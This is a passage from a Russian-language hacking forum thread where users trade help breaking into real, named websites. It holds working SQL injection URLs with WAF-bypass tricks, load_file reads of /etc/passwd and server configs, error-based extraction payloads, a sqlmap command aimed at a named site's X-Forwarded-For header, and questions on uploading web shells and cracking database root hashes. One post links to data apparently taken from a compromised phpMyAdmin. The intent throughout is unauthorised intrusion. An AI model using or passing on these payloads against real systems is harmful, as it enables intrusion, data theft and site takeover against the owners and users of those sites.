mg_0160.jpg&site=photo_zoom

Вот тут реально нестандартный еррор лог. Что это?

это нестандартный еррор_лог. пробовали файлы сессии? лог ssh авторизации? сделать акк на сайте? найти ацес лог? есть ли возможность использовать врапперы? вообще в случае, когда на хосте крутится еще пара десятков сайтов стоит смотреть в их сторону

.SpoilerTarget" type="button">Spoiler: xek
http://savepic.ru/7214529.png

Br@!ns

04.06.2015, 13:25

.SpoilerTarget" type="button">Spoiler
http://beadfxnew.dmt.net/classes/cl...1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+--+ (http://beadfxnew.dmt.net/classes/class_show.php?class_id=14+UNION+sELECT+1,2,3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17+--+)

Помогите waf обойти

Mister_Bert0ni

04.06.2015, 21:19

Всем привет. Банальный вопрос:Если есть регистрация на сайте то значит сайт как то пишет регистрационные данные в базу.Но уязвимость sql в другом скрипте,например в index.php в параметре id.Так вот когда раскручиваешь скуль то оказывается что у current_user-а права только USAGE и подменить хэш админа он не может.Как так???? Получается что сайт записует данные от привелегирированого юзера??

huntercs16

04.06.2015, 21:30

Code:
http://filmfactor.pl/?st=-1+/*!uNIoN*/+%28/*!SelEcT*/+1,1,load_file('etc/passwd'),1,1,1,1,1,1,1+%29+--+;

Подскажите директорию в которой сайт лежит

winstrool

04.06.2015, 21:37

huntercs16 said:
↑ (https://antichat.live/posts/3855621/)

Code:
http://filmfactor.pl/?st=-1+/*!uNIoN*/+%28/*!SelEcT*/+1,1,load_file('etc/passwd'),1,1,1,1,1,1,1+%29+--+;

Подскажите директорию в которой сайт лежит

При вызове обычной sql ошибки, дается раскрытие путей:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/filmfactor/public_html/filmfactor/index.php on line 103

Filipp

05.06.2015, 15:54

Никто не подскажет, как можно залить шелл через самописный двигл, имеется спортанский набор: Загрузка файл JPG, PNG,GIF, и обычный HTML редактор. Пробовал пропихнуть шелл через картинку, ничего не получилось, картинка обрабатывается какой то php функцией, и не дает загружать любое другое расширение кроме выше описанных (Корректировка запроса не помогает, все равно срабатывает защита). Так же пробовал в гифку добовлять комментарий - результата 0. Так же в запросе я нашел местечко, куда сгружаются все заблокированные файлы, попробовал подставить, дало ошибку 403)) Так же заметил одну особенность, файлы загружается через SQL запрос. Может быть есть способы заливки шелла именно через HTML редактор, ведь туда что угодно впихнуть можно?

Ravenous

05.06.2015, 18:05

Ребя, нужен аналог плагина Live HTTP Headers, ибо он перестал работать ( на кнопку "Повтор" не регагирует). Нужно чтобы была возможноть POST переменные передавать строкой типа &a1=1&a2=2&a3=3, а не по отдельности забивать как в программе HttpReq например.

Filipp

05.06.2015, 18:55

winstrool

05.06.2015, 19:22

Zen1T21

05.06.2015, 20:45

Ravenous said:
↑ (https://antichat.live/posts/3855881/)
Ребя, нужен аналог плагина Live HTTP Headers, ибо он перестал работать ( на кнопку "Повтор" не регагирует). Нужно чтобы была возможноть POST переменные передавать строкой типа &a1=1&a2=2&a3=3, а не по отдельности забивать как в программе HttpReq например.

http://rghost.ru/8XjjrkDrr исправленный плагин

+

/threads/422049/ (https://antichat.live/threads/422049/)

Merl0k

05.06.2015, 23:58

Вопрос новичка по sql:

Извлек нужные названия столбцов, а при попытке вывести из них информацию таким способом: http://actachemscand.dk/author.php?aid=-1126+union+select+1,2,Password,4+from+0x75736572+l imit+0,1-- выдает ошибку.

winstrool

06.06.2015, 00:10

Название БД в которую обращаешься, должно быть в чистом виде

в вашем случае пример актуального запроса:

_ttp://actachemscand.dk/author.php?aid=1126+and+1=0+union+select+1,2,conca t_ws(0x3a,host,user,password,file_priv),4+from+mys ql.user+--+

Br@!ns

06.06.2015, 02:27

Ravenous said:
↑ (https://antichat.live/posts/3855881/)
Ребя, нужен аналог плагина Live HTTP Headers, ибо он перестал работать ( на кнопку "Повтор" не регагирует). Нужно чтобы была возможноть POST переменные передавать строкой типа &a1=1&a2=2&a3=3, а не по отдельности забивать как в программе HttpReq например.

данный плагин не работает на последних версиях FF, устанавливайте старую версию ( до 30, если не ошибаюсь), если хоитите пользоваться данным плагином и не искать альтернативу

faza02

06.06.2015, 03:15

приучайте себя работать с burp suite или аналогами. они передают данные как есть, без urlencode

faza02

06.06.2015, 12:10

Filipp said:
↑ (https://antichat.live/posts/3855852/)
Никто не подскажет, как можно залить шелл через самописный двигл, имеется спортанский набор: Загрузка файл JPG, PNG,GIF, и обычный HTML редактор. Пробовал пропихнуть шелл через картинку, ничего не получилось, картинка обрабатывается какой то php функцией, и не дает загружать любое другое расширение кроме выше описанных (Корректировка запроса не помогает, все равно срабатывает защита). Так же пробовал в гифку добовлять комментарий - результата 0. Так же в запросе я нашел местечко, куда сгружаются все заблокированные файлы, попробовал подставить, дало ошибку 403)) Так же заметил одну особенность, файлы загружается через SQL запрос. Может быть есть способы заливки шелла именно через HTML редактор, ведь туда что угодно впихнуть можно?

https://rdot.org/forum/showpost.php?p=1142&postcount=5

Mister_Bert0ni said:
↑ (https://antichat.live/posts/3855616/)
Всем привет. Банальный вопрос:Если есть регистрация на сайте то значит сайт как то пишет регистрационные данные в базу.Но уязвимость sql в другом скрипте,например в index.php в параметре id.Так вот когда раскручиваешь скуль то оказывается что у current_user-а права только USAGE и подменить хэш админа он не может.Как так???? Получается что сайт записует данные от привелегирированого юзера??

вы про mysql?

Mister_Bert0ni

06.06.2015, 15:34

yarbabin said:
↑ (https://antichat.live/posts/3856077/)
https://rdot.org/forum/showpost.php?p=1142&postcount=5
вы про mysql?

Да

faza02

06.06.2015, 15:42

Mister_Bert0ni said:
↑ (https://antichat.live/posts/3856123/)
Да

mysql различает запросы на модификацию и выборку. в select нельзя сделать update

Filipp

06.06.2015, 15:47

yarbabin said:
↑ (https://antichat.live/posts/3856126/)
mysql различает запросы на модификацию и выборку. в select нельзя сделать update

Нельзя, это факт. Но есть такая золотая штука как UNION. Можно закомментировать последующий запрос, и UNION'ом дать UPDATE. Такое возможно?

faza02

06.06.2015, 15:48

Filipp said:
↑ (https://antichat.live/posts/3856127/)
Нельзя, это факт. Но есть такая золотая штука как UNION. Можно закомментировать последующий запрос, и UNION'ом дать UPDATE. Такое возможно?

нет. http://www.mysql.ru/docs/man/UNION.html

Mister_Bert0ni

06.06.2015, 22:42

yarbabin said:
↑ (https://antichat.live/posts/3856126/)
mysql различает запросы на модификацию и выборку. в select нельзя сделать update

если я првильно понял то при ввборке из базы я никак не смогу внедрить апдейт или инсерт?Смогу поменять пароль только если есть кнопка забыли пароль и я смогу вытянуть токен которыц отсылаеться на эмейл для сброса пароля?

Filipp

06.06.2015, 22:50

Mister_Bert0ni said:
↑ (https://antichat.live/posts/3856265/)
если я првильно понял то при ввборке из базы я никак не смогу внедрить апдейт или инсерт?Смогу поменять пароль только если есть кнопка забыли пароль и я смогу вытянуть токен которыц отсылаеться на эмейл для сброса пароля?

Если запрос начинается с SELECT то походу никак. А насчет токенов, из топовых CMS это актуально только в Wordpress. В phpbb если подставить токен на почту придет новый pass, а в базе как был хеш так и останется. В Jooml'е той что поновей, супер юзера вообще восстанавливать нельзя. Тема умирает потихоньку((

faza02

06.06.2015, 22:53

Br@!ns

08.06.2015, 08:03

Если в конфигах сайта коннект идет к 127.0.0.1, следует ли из этого что какой нибудь порт под мускул открыт на его ип?

huntercs16

08.06.2015, 13:37

Ребята, есть некоторое количество

select user,password from mysql.user where user=root

Ума не приложу что с ними дальше делать. Искать phpmyadmin через reverse host lookup?

faza02

08.06.2015, 13:44

Br@!ns said:
↑ (https://antichat.live/posts/3856629/)
Если в конфигах сайта коннект идет к 127.0.0.1, следует ли из этого что какой нибудь порт под мускул открыт на его ип?

но не факт, что он висит наружу.

huntercs16 said:
↑ (https://antichat.live/posts/3856715/)
Ребята, есть некоторое количество
Ума не приложу что с ними дальше делать. Искать phpmyadmin через reverse host lookup?

да, или если есть права, искать раскрытие путей и заливаться

huntercs16

08.06.2015, 14:05

yarbabin said:
↑ (https://antichat.live/posts/3856717/)
но не факт, что он висит наружу.
да, или если есть права, искать раскрытие путей и заливаться

Ок,а как пароли расшифровывать.

Например хеш *AC1F3171254396DBCE6598421920C634CD1040F1 встречается несколько раз, но cmd5 его отдает на перебор. все сайты разные, не может же быть что у них у всех одинаковый пароль если он реально сложный

faza02

08.06.2015, 14:12

huntercs16 said:
↑ (https://antichat.live/posts/3856724/)
Ок,а как пароли расшифровывать.
Например хеш *AC1F3171254396DBCE6598421920C634CD1040F1 встречается несколько раз, но cmd5 его отдает на перебор. все сайты разные, не может же быть что у них у всех одинаковый пароль если он реально сложный

там пароль рута не для каждого сайта, а для разных настроек. только брутфорс вам поможет

huntercs16

08.06.2015, 14:23

yarbabin said:
↑ (https://antichat.live/posts/3856725/)
там пароль рута не для каждого сайта, а для разных настроек. только брутфорс вам поможет

Если он не соленый, почему тогда cmd5 не находит нечего.

Мне кажется что cmd5 гораздо большую базу имеет чем 90% брутеров

faza02

08.06.2015, 14:26

huntercs16 said:
↑ (https://antichat.live/posts/3856731/)
Если он не соленый, почему тогда cmd5 не находит нечего.
Мне кажется что cmd5 гораздо большую базу имеет чем 90% брутеров

вы ошибаетесь. на cmd5 есть не все

huntercs16

08.06.2015, 17:29

Code:
http://5788sagebrookdrive.com/property-details?mls=-1'+/*!uNIoN*/+(/*!SelEcT*/+1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,concat(0x3a3a3a 3a3a,database(),0x3a3a3a3a3a),1+)+--+;&src=1

Как узнать где сайт лежит?

winstrool

08.06.2015, 17:58

huntercs16 said:
↑ (https://antichat.live/posts/3856790/)

Code:
http://5788sagebrookdrive.com/property-details?mls=-1'+/*!uNIoN*/+(/*!SelEcT*/+1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,concat(0x3a3a3a 3a3a,database(),0x3a3a3a3a3a),1+)+--+;&src=1

Как узнать где сайт лежит?

http://5788sagebrookdrive.com/phpinfo.php

Br@!ns

08.06.2015, 18:14

winstrool said:
↑ (https://antichat.live/posts/3856804/)
http://5788sagebrookdrive.com/phpinfo.php

+ еще раскрытия

http://5788sagebrookdrive.com/inc/config.php

http://5788sagebrookdrive.com/file_upload.php

huntercs16

08.06.2015, 18:34

winstrool said:
↑ (https://antichat.live/posts/3856804/)
http://5788sagebrookdrive.com/phpinfo.php

Все хорошо, но

Code:
_SERVER["SCRIPT_FILENAME"] /home/lwdhost/www/live.realcove.com/index.php
http://5788sagebrookdrive.com/phpinfo.php

Br@!ns (https://antichat.live/members/137145/)

Аналогично, /etc/passwd,говорит как раз что www-юзер имеет /home/lwdhost.

----------

спасибо на этом хотя бы

faza02

08.06.2015, 18:42

huntercs16 said:
↑ (https://antichat.live/posts/3856822/)
Все хорошо, но

Code:
_SERVER["SCRIPT_FILENAME"] /home/lwdhost/www/live.realcove.com/index.php
http://5788sagebrookdrive.com/phpinfo.php

Br@!ns (https://antichat.live/members/137145/)
Аналогично, /etc/passwd,говорит как раз что www-юзер имеет /home/lwdhost.

радость-то какая, наконец-то могу пощупать эту фишку freebsd:

Code:
http://5788sagebrookdrive.com/property-details?mls=-1%27+/*!uNIoN*/+%28/*!SelEcT*/+123,123,load_file%28%27/etc/%27%29,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,123,1+%29+--+;&src=1

т. е. при чтении директории получаете список файлов и папок

директория /home/lwdhost/

Code:
http://5788sagebrookdrive.com/property-details?mls=-1%27+/*!uNIoN*/+%28/*!SelEcT*/+123,123,load_file%28%27/home/lwdhost/%27%29,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,123,1+%29+--+;&src=1

почему такая ерунда с папками? в httpd прописаны алиасы:

Code:
http://5788sagebrookdrive.com/property-details?mls=-1%27+/*!uNIoN*/+%28/*!SelEcT*/+1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,load_file%28%27/home/MPS.httpd.conf.bk25oct2010%27%29,1+%29+--+;&src=1

Code:
addisonklein
advancedlabs
brian
brian1
cameron
canon-copier
coldwellca
cortexx
dns
formbuilder
grijalva
impact
jennie
jira
lwdhost
mayer
mlsimages
olyins
outgoing
pcmls
puddlejumpers
riverbendranch
ryanm
steve1
tara
theofficialjeff
tyler
unixsa
vera
koliopoulos
gsmls
MPS.httpd.conf.bk25oct2010
MPS.php.ini.bk25oct2010
VPS.httpd.conf.bk25oct2010
VPS.php.ini.bk25oct2010

нужно перебрать все папки и найти доступную на чтение и запись, заодно найти httpd.conf и найти для каждого document_root

Br@!ns

09.06.2015, 00:00

в magento конфиге (local.xml) есть вот такая запись, ниже данных Mysql:

.SpoilerTarget" type="button">Spoiler: code

*password*

Что она означает? и как можно подключиться по этим данным?

Strilo4ka

09.06.2015, 00:22

Br@!ns said:
↑ (https://antichat.live/posts/3856902/)
в magento конфиге (local.xml) есть вот такая запись, ниже данных Mysql:
Spoiler: code

*password*

Что она означает? и как можно подключиться по этим данным?

Похоже на Redis Cache, в нете туториалы есть )

Unknown

11.06.2015, 12:37

Помогите составить запрос в бд плиз) ситуация следующая, есть скуля необходимо узнать название колонки в которой имеется значение 3.00 для юзера с id=6010.

faza02

11.06.2015, 13:51

rumbln said:
↑ (https://antichat.live/posts/3857738/)
Помогите составить запрос в бд плиз) ситуация следующая, есть скуля необходимо узнать название колонки в которой имеется значение 3.00 для юзера с id=6010.

SELECT * FROM таблица_с_юзерами WHERE id = 6010.

в ответе получите все данные по пользователю и узнаете имя колонки

AndreyBerkut

11.06.2015, 16:40

Хелп плз

при попытке выполнить 25'or(ExtractValue(1,concat(0x5C,(select(SUBSTRING (group_concat(count(*)),1))from(realmd.account)))) )and(1)='1появляется ошибка Query failed : FUNCTION realmd.ExtractValue does not exist

Как я понял, в этой версии mysql еще нет функции ExtractValue.Какие есть альтернативы?

P.S.

25'OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select concat_ws(0x3a,username,password,email) from account limit 0,1), 1, 63), FLOOR(RAND(0)*2)))and(1)='1 проходит, выводит: 5.0.67-log

YaBtr

11.06.2015, 16:51

AndreyBerkut said:
↑ (https://antichat.live/posts/3857858/)
Хелп плз
при попытке выполнить
25'or(ExtractValue(1,concat(0x5C,(select(SUBSTRING (group_concat(count(*)),1))from(realmd.account)))) )and(1)='1
появляется ошибка
Query failed : FUNCTION realmd.ExtractValue does not exist
Как я понял, в этой версии mysql еще нет функции
ExtractValue.
Какие есть альтернативы?
P.S.

25'OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(version(), 1, 63), FLOOR(RAND(0)*2)))and(1)='1 проходит, выводит: 5.0.67-log

По по воду версий https://dev.mysql.com/doc/refman/5.1/en/xml-functions.html.

Если остальные техники вывода не отрабатывают, используйте вывод через ошибку группировки.

AndreyBerkut

11.06.2015, 16:59

YaBtr said:
↑ (https://antichat.live/posts/3857864/)
Если остальные техники вывода не отрабатывают, используйте вывод через ошибку группировки.

через union? Он, там тоже не работает, поскольку запрос выглядит примерно так:

INSERT INTO account VALUES (username,password,email);

И вроде как, union работает только на Select, или я ошибаюсь?

Вообще, вот уязвимый сайт, который пытаюсь взломать... http://wow.kwinta.net/index.php?id=registration.html

Уязвимо поле ввода имени аккаунта...

AndreyBerkut

11.06.2015, 17:15

yarbabin said:
↑ (https://antichat.live/posts/3857872/)
YaBtr про вектор group by

как бы я не пытался его сунуть, появляется ошибка You have an error in your SQL syntax...

Не подскажете, как в моем случае его нужно правильно применять?

YaBtr

11.06.2015, 17:24

Вы сами написали вектор вывода для версии, далее все по аналогии.

AndreyBerkut

11.06.2015, 17:56

YaBtr said:
↑ (https://antichat.live/posts/3857880/)
Вы сами написали вектор вывода для версии, далее все по аналогии.

Всё понял, получилось, спасибо

Еще вопрос: реально ли залить шелл через эту уязвимость?

faza02

11.06.2015, 18:06

AndreyBerkut said:
↑ (https://antichat.live/posts/3857889/)
Всё понял, получилось, спасибо
Еще вопрос: реально ли залить шелл через эту уязвимость?

/threads/43966/ (https://antichat.live/threads/43966/)

HelpMeS

11.06.2015, 20:00

Возможно залить сюда шелл? http://www.printclick.ru/userupload.html?ident=1 фильтрацыя неособая. мне ума нехватает. обясните пожалуста.

DezMond™

11.06.2015, 21:35

http://www.alice.ch/en/sveb/service...[enddate]=&tx_events_pi_search[search]=Search (http://www.alice.ch/en/sveb/services/agenda/archives-from-2013/?tx_events_pi_search%5Bsearchword%5D=a'+order/**/+by+2+--+&tx_events_pi_search%5Bcategories%5D=8&tx_events_pi_search%5Bstartdate%5D=&tx_events_pi_search%5Benddate%5D=&tx_events_pi_search%5Bsearch%5D=Search)

Фильтр обходится?

Br@!ns

13.06.2015, 11:40

AndreyBerkut said:
↑ (https://antichat.live/posts/3857858/)
Хелп плз
при попытке выполнить
25'or(ExtractValue(1,concat(0x5C,(select(SUBSTRING (group_concat(count(*)),1))from(realmd.account)))) )and(1)='1
появляется ошибка
Query failed : FUNCTION realmd.ExtractValue does not exist
Как я понял, в этой версии mysql еще нет функции
ExtractValue.
Какие есть альтернативы?
P.S.

25'OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select concat_ws(0x3a,username,password,email) from account limit 0,1), 1, 63), FLOOR(RAND(0)*2)))and(1)='1 проходит, выводит: 5.0.67-log

'

Hassle

13.06.2015, 13:06

всем привет, 2 года пытаюсь взломать нужные мне сайты, но все тщетно..

сегодня ночью прогонял один сайт через Acunetix, выдало вот такие алерты, можно ли их как-то поюзать или фигня?

я давно не затрагивал инъекции и поэтому позабыл уже что и как, на сайте фильтруется запрос " ' " и выползает на его месте %27...

http://cs629222.vk.me/v629222856/2ba0/9asgWlSnoV8.jpg

Br@!ns

13.06.2015, 13:45

Hassle said:
↑ (https://antichat.live/posts/3858368/)
всем привет, 2 года пытаюсь взломать нужные мне сайты, но все тщетно..
сегодня ночью прогонял один сайт через Acunetix, выдало вот такие алерты, можно ли их как-то поюзать или фигня?
я давно не затрагивал инъекции и поэтому позабыл уже что и как, на сайте фильтруется запрос " ' " и выползает на его месте %27...
http://cs629222.vk.me/v629222856/2ba0/9asgWlSnoV8.jpg

вероятно есть скуля в форме регистрации, скидывай ссылку)

Hassle

13.06.2015, 13:53

Br@!ns said:
↑ (https://antichat.live/posts/3858380/)
вероятно есть скуля в форме регистрации, скидывай ссылку)

ссылка на сам сайт: http://payeer-surf.ru/

сами ошибки с описанием) в CSS детали атаки схожи между вариантами, а в SQL инъекции везде одинаковое описание) как такое пробивается?

faza02

13.06.2015, 14:05

Hassle said:
↑ (https://antichat.live/posts/3858381/)
ссылка на сам сайт:
http://payeer-surf.ru/
сами ошибки с описанием) в CSS детали атаки схожи между вариантами, а в SQL инъекции везде одинаковое описание) как такое пробивается?
http://cs622818.vk.me/v622818856/32d2f/DROfTDkXmXo.jpg
http://cs622818.vk.me/v622818856/32d38/mVT0KbXGJOo.jpg

да, уязвимость в заголовке X-Forwarded-For

Hassle

13.06.2015, 14:08

yarbabin said:
↑ (https://antichat.live/posts/3858387/)
да, уязвимость в заголовке X-Forwarded-For

это да, вижу) только я не знаю каким боком подойти, чтоб вывелось как url, для использования к примеру sqlmap

OxoTnik

13.06.2015, 14:26

Hassle said:
↑ (https://antichat.live/posts/3858388/)
это да, вижу) только я не знаю каким боком подойти, чтоб вывелось как url, для использования к примеру sqlmap

Смотри в сторону –level

faza02

13.06.2015, 14:30

Hassle said:
↑ (https://antichat.live/posts/3858388/)
это да, вижу) только я не знаю каким боком подойти, чтоб вывелось как url, для использования к примеру sqlmap

в sqlmap она не заведется. хотя правильный синтаксис такой:

Code:
sqlmap -u "http://payeer-surf.ru/" --headers="X-Forwarded-For: *" --dbs

проблема в том, что ошибка появляется при подстановке одинарной и двойной кавычки, пока не понял, почему так.

т. е.

Code:
X-Forwarded-For: 10.67.90.16"'

faza02

13.06.2015, 14:47

Hassle said:
↑ (https://antichat.live/posts/3858388/)
это да, вижу) только я не знаю каким боком подойти, чтоб вывелось как url, для использования к примеру sqlmap

конечный вектор:

Code:
10.67.90.16"'and(extractvalue(1,concat(0x3a,version())))='1

BabaDook

14.06.2015, 16:43

Здравствуйте !

PHP:
http://www.avizinfo.com.ua/templates/js.php?files=/etc/passwd&side=front

можно тут что-то придумать?

При запросе /proc/self/environ . выдаётся страница с текстом pool www . Так же и на другие логи. Почему не инклудится index?

PHP:
http://kafa-info.com.ua/vh/index.php?pid=\

HTML:
http://papajohn.com.ua/ajax/catalog-change/?add=1&model_id=3

fucking day

как тут раскручивать ? Что-то я не догоняю. заранее спасибо )

faza02

15.06.2015, 02:24

BabaDook said:
↑ (https://antichat.live/posts/3858770/)
Здравствуйте !

PHP:
http://www.avizinfo.com.ua/templates/js.php?files=/etc/passwd&side=front

можно тут что-то придумать?
При запросе /proc/self/environ . выдаётся страница с текстом pool www . Так же и на другие логи. Почему не инклудится index?

PHP:
http://kafa-info.com.ua/vh/index.php?pid=\

HTML:
http://papajohn.com.ua/ajax/catalog-change/?add=1&model_id=3

fucking day
как тут раскручивать ? Что-то я не догоняю. заранее спасибо )

по papajohn.com.ua это просто лог с ошибкой запроса, параметры в нем не участвуют.

kafa-info.com.ua: я не понял откуда ноги растут там, ничего не скажу

avizinfo.com.ua: по-моему там не инклуд, а просто читалка. не уверен, особо не смотрел

Filipp

16.06.2015, 18:24

День добрый. Нашел скулю и по традиции всегда начинаю смотреть права.

File-priv=Y.

Отлично, далее смотрю отсчет акунетикса, написано Application Error Mesage, там давала ошибку с раскрытием пути функция отвечающая за шифрование пароля в md5. Поставил в sqlmap, и получал еррор, директория недоступна для записи. Потом я еще нашел phpinfo, попробовал подставлять пути из него и снова облом, даже в темповскую директорию ничего не грузит.

Payload:

http://s7.hostingkartinok.com/uploads/images/2015/06/645ee21eba9550115a47b69a5f7cc153.jpg

Не пойму почему так происходит, я в раскрутке скуль далеко не проф, разве что UNION инъекцию раскрутить смогу. Почему-то файлы читать читаются, а чего-нибудь загрузить так нет. Еще в логах sqlmap'а нет привычного мне INTO OUTFILE метода, только LINES TERMINATED BY.

Что полезного можно из этого извлечь?

P.S Посмотри пароль от БД и зайди, через phpmyadmin например, не катит. Нет ни phpmyadmin'а, ни пароля..

DezMond™

16.06.2015, 19:31

http://www.trial-ch.org/trialwatch/tw_map_coord.php?Lang=en&CF=&JF=11+order+by+1+--+

нужно фильтр обойти

faza02

16.06.2015, 19:53

Filipp said:
↑ (https://antichat.live/posts/3859542/)
День добрый. Нашел скулю и по традиции всегда начинаю смотреть права.
File-priv=Y.
Отлично, далее смотрю отсчет акунетикса, написано Application Error Mesage, там давала ошибку с раскрытием пути функция отвечающая за шифрование пароля в md5. Поставил в sqlmap, и получал еррор, директория недоступна для записи. Потом я еще нашел phpinfo, попробовал подставлять пути из него и снова облом, даже в темповскую директорию ничего не грузит.
Payload:
http://s7.hostingkartinok.com/uploads/images/2015/06/645ee21eba9550115a47b69a5f7cc153.jpg
Не пойму почему так происходит, я в раскрутке скуль далеко не проф, разве что UNION инъекцию раскрутить смогу. Почему-то файлы читать читаются, а чего-нибудь загрузить так нет. Еще в логах sqlmap'а нет привычного мне INTO OUTFILE метода, только LINES TERMINATED BY.
Что полезного можно из этого извлечь?
P.S Посмотри пароль от БД и зайди, через phpmyadmin например, не катит. Нет ни phpmyadmin'а, ни пароля..

mq off?

DezMond™ said:
↑ (https://antichat.live/posts/3859573/)
http://www.trial-ch.org/trialwatch/tw_map_coord.php?Lang=en&CF=&JF=11+order+by+1+--+
нужно фильтр обойти

full url encode

DezMond™

16.06.2015, 19:58

yarbabin said:
↑ (https://antichat.live/posts/3859581/)
full url encode

Например? у меня не получилось...

faza02

16.06.2015, 20:01

DezMond™ said:
↑ (https://antichat.live/posts/3859583/)
Например? у меня не получилось...

Code:
www.trial-ch.org/trialwatch/tw_map_coord.php?Lang=en&CF=&JF=11+%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31--+

DezMond™

16.06.2015, 20:17

yarbabin said:
↑ (https://antichat.live/posts/3859585/)

Code:
www.trial-ch.org/trialwatch/tw_map_coord.php?Lang=en&CF=&JF=11+%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31--+

А вывод можно как нибудь организовать?

Filipp

16.06.2015, 21:26

yarbabin said:
↑ (https://antichat.live/posts/3859581/)
mq off?
full url encode

Да, на magic_quotes везде оффы стоят

BigBear

16.06.2015, 21:38

DezMond™ said:
↑ (https://antichat.live/posts/3859590/)
А вывод можно как нибудь организовать?

Пытайся....

http://2tap.com/javascript-percent-encoder/

DezMond™

17.06.2015, 12:02

BigBear said:
↑ (https://antichat.live/posts/3859611/)
Пытайся....
http://2tap.com/javascript-percent-encoder/

Не могу подходящий вектор подобрать(

Вывод через еррор басе?

faza02

17.06.2015, 12:29

DezMond™ said:
↑ (https://antichat.live/posts/3859725/)
Не могу подходящий вектор подобрать(
Вывод через еррор басе?

где там ошибка? у вас там инклуд рядом, не хотите с ним что-нибудь придумать? правда там open_basedir()

Code:
http://www.trial-ch.org/trialwatch/tw_map_coord.php?Lang=lol

DezMond™

17.06.2015, 12:45

yarbabin said:
↑ (https://antichat.live/posts/3859730/)
где там ошибка? у вас там инклуд рядом, не хотите с ним что-нибудь придумать? правда там open_basedir()

Code:
http://www.trial-ch.org/trialwatch/tw_map_coord.php?Lang=lol

Видел, но с ним не чё не сделать(

Ошибка mysql_fetch_array() expects parameter 1 to be resource

Можно как нить вывод замутить?

faza02

17.06.2015, 12:52

DezMond™ said:
↑ (https://antichat.live/posts/3859734/)
Видел, но с ним не чё не сделать(
Ошибка mysql_fetch_array() expects parameter 1 to be resource
Можно как нить вывод замутить?

это ошибка PHP, а не MySQL

Unknowhacker

18.06.2015, 16:40

Читал статьи, но не могу понять как обходить фильтра XSS. Допустим в SQL-Инъекциях всё ясно, как обходить. Кто может мне объяснить нормально.

http://s42.radikal.ru/i097/1506/b5/6376ebe89876.jpg

Строка 360 исходного кода.

Выделенный текст это я так понимаю фильтрующие элементы.. Если бы XSS запрос так и отображался, то значит XSS-Инъекции нет?

kingbeef

18.06.2015, 17:45

Unknowhacker said:
↑ (https://antichat.live/posts/3860201/)
Читал статьи, но не могу понять как обходить фильтра XSS. Допустим в SQL-Инъекциях всё ясно, как обходить. Кто может мне объяснить нормально.
http://s42.radikal.ru/i097/1506/b5/6376ebe89876.jpg
Строка
360
исходного кода.
Выделенный текст это я так понимаю фильтрующие элементы.. Если бы XSS запрос так и отображался, то значит XSS-Инъекции нет?

Вот еще посмотри /threads/46016/page-952#post-2979092 (https://antichat.live/threads/46016/page-952/)

huntercs16

18.06.2015, 19:40

Есть доступ phpmyadmin with good video))

Как узнать директорию, в которой сайт лежит из pma?

Есть готовые скрипты для этого?

https://www.sendspace.com/file/eumd9u

Енжой, over 6500 video)

Scipio

18.06.2015, 19:46

например по умолчанию на дебианподобных осях пма лежит в /usr/share/phpmyadmin

faza02

18.06.2015, 19:52

Scipio said:
↑ (https://antichat.live/posts/3860273/)
например по умолчанию на дебианподобных осях пма лежит в /usr/share/phpmyadmin

ему document_root нужен, похоже

huntercs16 said:
↑ (https://antichat.live/posts/3860271/)
Есть доступ phpmyadmin with good video))
Как узнать директорию, в которой сайт лежит из pma?
Есть готовые скрипты для этого?
Енжой, over 6500 video)

из пма попробуйте почитать файлы через local data infile. либо как обычно через ошибки на сайте

huntercs16

18.06.2015, 19:59

yarbabin said:
↑ (https://antichat.live/posts/3860275/)
ему document_root нужен, похоже
из пма попробуйте почитать файлы через local data infile. либо как обычно через ошибки на сайте

А нету готового скрипта, который читает файлы и в случае не пустого множества возвращает путь.

В общем у меня 3 сайта pma с пороно))

Один на load_file passwd возвращает

726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 6e2f626173680a62696e3a783a313a313a62696e3a2f62696e 2e2e2e

Второй Blob

-------------------------

По идее есть же скрипт, который через множество селектов получает site_directory.

Смысл самому эти селекты делать)?

kingbeef

19.06.2015, 07:21

huntercs16 said:
↑ (https://antichat.live/posts/3860279/)
А нету готового скрипта, который читает файлы и в случае не пустого множества возвращает путь.
В общем у меня 3 сайта pma с пороно))
Один на load_file passwd возвращает
726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 6e2f626173680a62696e3a783a313a313a62696e3a2f62696e 2e2e2e
Второй Blob
-------------------------
По идее есть же скрипт, который через множество селектов получает site_directory.
Смысл самому эти селекты делать)?

726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 6e2f626173680a62696e3a783a313a313a62696e3a2f62696e 2e2e2e

Это

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin...

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /var/www/include/common.php on line 462

Warning: mysql_free_result(): supplied argument is not a valid MySQL result resource in /var/www/include/common.php on line 466

Вот и путь

Notice: Undefined index: host in /var/www/smf/Sources/Load.php on line 1913

Notice: Undefined index: host in /var/www/smf/Sources/Load.php on line 1913

Notice: Undefined index: welcome_guest_activate in /var/www/smf/Sources/Subs.php on line 3165

Notice: Undefined index: welcome_guest in /var/www/smf/Sources/Subs.php on line 3165

